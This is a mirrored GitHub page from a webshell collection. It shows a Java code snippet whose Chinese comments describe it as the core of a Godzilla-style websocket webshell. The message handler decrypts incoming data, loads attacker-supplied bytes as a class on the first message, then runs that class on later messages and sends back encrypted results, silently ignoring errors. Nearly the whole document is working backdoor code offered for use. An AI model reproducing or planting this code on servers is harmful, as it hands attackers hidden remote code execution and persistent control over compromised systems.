mirror of
https://github.com/tennc/webshell
synced 2024-11-10 05:44:11 +00:00
25 lines
1,019 B
Java
25 lines
1,019 B
Java
|
// 哥斯拉实现websocket马核心代码片段
|
||
|
|
||
|
//由于是反编译修改了原作者的软件,所以并不会公布工具,但会陆续公开实现代码和实现过程原理
|
||
|
|
||
|
|
||
|
public void onMessage(ByteBuffer databf) {
|
||
|
try {
|
||
|
data=x(databf.array(), false);
|
||
|
if (session.getUserProperties().get("payload")==null){
|
||
|
session.getUserProperties().put("payload",new X(this.getClass().getClassLoader()).Q(data));
|
||
|
session.getBasicRemote().sendObject(x("ok".getBytes(), true));
|
||
|
}else{
|
||
|
session.getUserProperties().put("parameters", data);
|
||
|
Object f=((Class)session.getUserProperties().get("payload")).newInstance();
|
||
|
java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();
|
||
|
f.equals(arrOut);
|
||
|
f.equals(session);
|
||
|
f.equals(data);
|
||
|
f.toString();
|
||
|
session.getBasicRemote().sendObject(x(arrOut.toByteArray(), true));
|
||
|
}
|
||
|
} catch (Exception ignored) {
|
||
|
}
|
||
|
}
|